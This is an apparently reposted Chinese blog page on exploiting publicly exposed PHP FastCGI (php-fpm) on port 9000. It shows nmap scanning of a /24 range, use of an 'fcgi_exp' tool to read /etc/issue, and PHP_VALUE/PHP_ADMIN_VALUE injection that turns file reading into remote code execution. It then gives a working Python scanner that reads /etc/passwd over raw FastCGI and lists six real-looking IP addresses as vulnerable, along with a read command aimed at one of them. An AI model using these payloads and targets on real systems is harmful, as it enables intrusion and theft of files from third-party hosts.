fastcgi文件读取漏洞之python扫描脚本


Posted in Python onApril 23, 2017

PHP FastCGI的远程利用

说到FastCGI,大家都知道这是目前最常见的webserver动态脚本执行模型之一。目前基本所有web脚本都基本支持这种模式,甚至有的类型脚本这是唯一的模式(ROR,Python等)。

FastCGI的主要目的就是,将webserver和动态语言的执行分开为两个不同的常驻进程,当webserver接收到动态脚本的请求,就通过fcgi协议将请求通过网络转发给fcgi进程,由fcgi进程进行处理之后,再将结果传送给webserver,然后webserver再输出给浏览器。这种模型由于不用每次请求都重新启动一次cgi,也不用嵌入脚本解析器到webserver中去,因此可伸缩性很强,一旦动态脚本请求量增加,就可以将后端fcgi进程单独设立一个集群提供服务,很大的增加了可维护性,这也是为什么fcgi等类似模式如此流行的原因之一。

然而正是因为这种模式,却也带来了一些问题。例如去年80sec发布的《nginx文件解析漏洞》 实际上就是由于fcgi和webserver对script路径级参数的理解不同出现的问题。除此之外,由于fcgi和webserver是通过网络进行沟通的,因此目前越来越多的集群将fcgi直接绑定在公网上,所有人都可以对其进行访问。这样就意味着,任何人都可以伪装成webserver,让fcgi执行我们想执行的脚本内容。

ok,以上就是背景原理解释,我这里就用我最熟悉的PHP给各位做个例子。

php的fastcgi目前通常叫做FPM。他默认监听的端口是9000端口。我们这里用nmap直接扫描一下:

nmap -sV -p 9000 --open x.x.x.x/24

为什么要用sV?因为9000端口可能还存在其他服务,这里需要借用nmap的指纹识别先帮我们鉴定一下。

[root@test:~/work/fcgi]#nmap -sV -p 9000 --open 173.xxx.xxx.1/24

Starting Nmap 6.01 ( http://nmap.org ) at 2012-09-14 20:06 EDT
Nmap scan report for abc.net (173.xxx.xxx.111)
Host is up (0.0095s latency).
PORT     STATE SERVICE VERSION
9000/tcp open  ssh     OpenSSH 5.3p1 Debian 3ubuntu7 (protocol 2.0)
Service Info: OS: Linux; CPE: cpe:/o:linux:kernel

Nmap scan report for abc.com (173.xxx.xxx.183)
Host is up (0.0096s latency).
PORT     STATE SERVICE    VERSION
9000/tcp open  tcpwrapped

Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .
Nmap done: 256 IP addresses (198 hosts up) scanned in 7.70 seconds

随便扫描了一下,运气不错,一个C段有2个开放9000端口的,不过其中一个是被管理员修改的sshd,另一个tcpwrapped,才是我们的目标。

为了做测试,我写了一个fastcgi的客户端程序,直接向对方发起请求。我们利用一个开放的fastcgi能有什么作用?这里和普通的http请求有一点不同,因为webserver为了提供fastcgi一些参数,每次转发请求的时候,会通过FASTCGI_PARAMS的包向fcgi进程进行传递。本来这些参数是用户不可控的,但是既然这个fcgi对外开放,那么也就说明我们可以通过设定这些参数,来让我们去做一些原本做不到的事情:

[root@test:~/work/fcgi]#./fcgi_exp read 173.xxx.xxx.183 9000 /etc/issue

X-Powered-By: PHP/5.3.2-1ubuntu4.9
Content-type: text/html 3water.com

Ubuntu 10.04.3 LTS \n \l

读到了/etc/issue文件,可以看到这是台ubuntu 10.04的机器。那又是怎么实现的呢?其实我们只要在FASTCGI_PARAMS中,设定 DOCUMENT_ROOT为"/"根目录即可,随后再设置SCRIPT_FILENAME为/etc/issue。这样,只要我们有权限,我们就可以控制fcgi去读取这台机器上的任意文件了。实际上这并不是读取,而是用php去执行它。

既然是执行,所以其实这个漏洞就类似于一个普通的LFI漏洞,如果你知道这台机器上的log路径,或者任何你可以控制内容的文件路径,你就可以执行任意代码了。

到此为止了么?不,如果利用log或者去猜其他文件路径去执行代码,还是不够方便,有没有更为方便的利用方式可以让我执行任意我提交的代码呢?

这里我也找了很多办法,最先想到的是传递env参数过去然后去执行/proc/self/environ文件,可惜php-fpm在接收到我的参数值后只是在内存中修改了环境变量,并不会直接改动这个文件。因此没法利用。况且这个方式也不是所有系统都通用。

我们还有一种方法,在我之前写的《CVE-2012-1823(PHP-CGI RCE)的PoC及技术挑战》中,可以通过动态修改php.ini中的auto_prepend_file的值,去远程执行任意文件。将一个LFI的漏洞变成了RFI,这样可利用空间就大大增加。

fastcgi是否也支持类似的动态修改php的配置?我查了一下资料,发现原本FPM是不支持的,直到某开发者提交了一个bug,php官方才将此特性Merge到php 5.3.3的源码中去。

通用通过设置FASTCGI_PARAMS,我们可以利用PHP_ADMIN_VALUE和PHP_VALUE去动态修改php的设置。

env["REQUEST_METHOD"] = "POST"
env["PHP_VALUE"] = "auto_prepend_file = php://input"
env["PHP_ADMIN_VALUE"] = "allow_url_include = On\ndisable_functions = \nsafe_mode = Off"

利用执行php://input,然后在POST的内容中写入我们的php代码,这样就可以直接执行了。

[root@test:~/work/fcgi]#./fcgi_exp system 127.0.0.1 9000 /tmp/a.php "id; uname -a"   

X-Powered-By: PHP/5.5.0-dev
Content-type: text/html

uid=500(www) gid=500(www) groups=500(www)
Linux test 2.6.18-308.13.1.el5 #1 SMP Tue Aug 21 17:51:21 EDT 2012 x86_64 x86_64 x86_64 GNU/Linux

细心者会注意到这里有些变化,我换了本机做测试。因为开始发现的那台机器php版本是5.3.2,正好低于5.3.3,因此无法利用修改ini设置去执行代码,只能去猜路径。

另一个变化是,我这里去读取/tmp/a.php这个php文件,而不是去读取/etc/issue。因为在5.3.9开始,php官方加入了一个配置"security.limit_extensions",默认状态下只允许执行扩展名为".php"的文件。因此你必须找到一个已经存在的php文件。而这个设置是php-fpm.conf里的,无法通过修改ini的配置去覆盖它。如果谁能有更好的办法可以绕过这个限制,请告诉我。

ok,目前为止对php-fpm的所有测试已经结束,我们利用一个对外开放的fcgi进程,已经可以直接获取shell了。各位不如也去研究一下其他fcgi,或许会有更多发现。

如何防止这个漏洞?很简单,千万不要把fcgi接口对公网暴露。同时也希望将来fcgi会有身份认证机制。

任何系统上编译,请安装golang之后,执行:
go build fcgi_exp.go

fastcgi文件读取漏洞python扫描脚本

fastcgi文件读取(代码执行)是个很老的漏洞,漏洞描述: PHP FastCGI 的远程利用

利用该漏洞可读取系统文件,甚至有一定几率成功执行代码。 下载上述文章中提到的: fcgi_exp

协议细节其实我已不关心,只需要一个python的扫描脚本。于是拿wireshark抓了下GaRY的程序,写一小段代码。

外网暴露9000端口的机器自然是非常非常少的,但内网可就说不定了。

import socket
import sys

def test_fastcgi(ip):
  sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM); sock.settimeout(5.0)
  sock.connect((ip, 9000))
  data = """
  01 01 00 01 00 08 00 00 00 01 00 00 00 00 00 00
  01 04 00 01 00 8f 01 00 0e 03 52 45 51 55 45 53 
  54 5f 4d 45 54 48 4f 44 47 45 54 0f 08 53 45 52 
  56 45 52 5f 50 52 4f 54 4f 43 4f 4c 48 54 54 50 
  2f 31 2e 31 0d 01 44 4f 43 55 4d 45 4e 54 5f 52
  4f 4f 54 2f 0b 09 52 45 4d 4f 54 45 5f 41 44 44
  52 31 32 37 2e 30 2e 30 2e 31 0f 0b 53 43 52 49 
  50 54 5f 46 49 4c 45 4e 41 4d 45 2f 65 74 63 2f 
  70 61 73 73 77 64 0f 10 53 45 52 56 45 52 5f 53
  4f 46 54 57 41 52 45 67 6f 20 2f 20 66 63 67 69
  63 6c 69 65 6e 74 20 00 01 04 00 01 00 00 00 00
  """
  data_s = ''
  for _ in data.split():
    data_s += chr(int(_,16))
  sock.send(data_s)
  try:
    ret = sock.recv(1024)
    if ret.find(':root:') > 0:
      print ret
      print '%s is vulnerable!' % ip
      return True
    else:
      return False
  except Exception, e:
    pass
      
  sock.close()


if __name__ == '__main__':
  if len(sys.argv) == 1:
    print sys.argv[0], '[ip]'
  else:
    test_fastcgi(sys.argv[1])

通过快速扫描9000端口,可以发现几个存在漏洞的机器:

110.164.68.137 is vul !
110.164.68.148 is vul !
110.164.68.149 is vul !
110.164.68.151 is vul !
110.164.68.154 is vul !
110.164.68.155 is vul !

fcgi_exp.exe read 110.164.68.137 9000 /etc/passwd

fastcgi文件读取漏洞之python扫描脚本

Python 相关文章推荐
python通过apply使用元祖和列表调用函数实例
May 26 Python
Python2中的raw_input() 与 input()
Jun 12 Python
Python实现将数据库一键导出为Excel表格的实例
Dec 30 Python
Python爬取网易云音乐上评论火爆的歌曲
Jan 19 Python
R语言 vs Python对比:数据分析哪家强?
Nov 17 Python
python在文本开头插入一行的实例
May 02 Python
Python实现高斯函数的三维显示方法
Dec 29 Python
python实现简单五子棋游戏
Jun 18 Python
python对绑定事件的鼠标、按键的判断实例
Jul 17 Python
Python通过递归获取目录下指定文件代码实例
Nov 07 Python
Python生成词云的实现代码
Jan 14 Python
Pyinstaller加密打包应用的示例代码
Jun 11 Python
批量获取及验证HTTP代理的Python脚本
Apr 23 #Python
深入理解python中的select模块
Apr 23 #Python
Python3如何解决字符编码问题详解
Apr 23 #Python
Python制作刷网页流量工具
Apr 23 #Python
Python读取指定目录下指定后缀文件并保存为docx
Apr 23 #Python
正确理解python中的关键字“with”与上下文管理器
Apr 21 #Python
python妙用之编码的转换详解
Apr 21 #Python
You might like
array_multisort实现PHP多维数组排序示例讲解
2011/01/04 PHP
php 代码优化之经典示例
2011/03/24 PHP
php htmlspecialchars()与shtmlspecialchars()函数的深入分析
2013/06/05 PHP
python进程与线程小结实例分析
2018/11/11 PHP
jquery中实现简单的tabs插件功能的代码
2011/03/02 Javascript
JQuery给元素绑定click事件多次执行的解决方法
2014/05/29 Javascript
jQuery动态背景图片效果实现方法
2015/07/03 Javascript
javascript中 try catch用法
2015/08/16 Javascript
基于JS实现简单的样式切换效果代码
2015/09/04 Javascript
JavaScript DOM 学习总结(五)
2015/11/24 Javascript
Bootstrap按钮组简单实现代码
2017/03/06 Javascript
深入nodejs中流(stream)的理解
2017/03/27 NodeJs
React Native 集成jpush-react-native的示例代码
2017/08/16 Javascript
jQuery 实现鼠标画框并对框内数据选中的实例代码
2017/08/29 jQuery
JS+CSS实现网页加载中的动画效果
2017/10/27 Javascript
Angular2实现组件交互的方法分析
2017/12/19 Javascript
解决axios会发送两次请求,有个OPTIONS请求的问题
2018/10/25 Javascript
图文详解vue框架安装步骤
2019/02/12 Javascript
javascript中的offsetWidth、clientWidth、innerWidth及相关属性方法
2020/05/14 Javascript
[03:01]2014DOTA2国际邀请赛 小组赛7月13日TOPPLAY
2014/07/14 DOTA
Python日志模块logging简介
2015/04/13 Python
python方法生成txt标签文件的实例代码
2018/05/10 Python
Python实现爬虫爬取NBA数据功能示例
2018/05/28 Python
python逆序打印各位数字的方法
2018/06/25 Python
python使用webdriver爬取微信公众号
2018/08/31 Python
PyTorch 1.0 正式版已经发布了
2018/12/13 Python
使用Python Pandas处理亿级数据的方法
2019/06/24 Python
python 随机森林算法及其优化详解
2019/07/11 Python
Django将默认的SQLite更换为MySQL的实现
2019/11/18 Python
Python爬虫实现模拟点击动态页面
2020/03/05 Python
python opencv实现简易画图板
2020/08/27 Python
教师简历自我评价
2014/02/03 职场文书
2014年优秀党员材料
2014/12/18 职场文书
刚学完怎么用Python实现定时任务,转头就跑去撩妹!
2021/06/05 Python
Java处理延时任务的常用几种解决方案
2022/06/01 Java/Android
python+pyhyper实现识别图片中的车牌号思路详解
2022/12/24 Python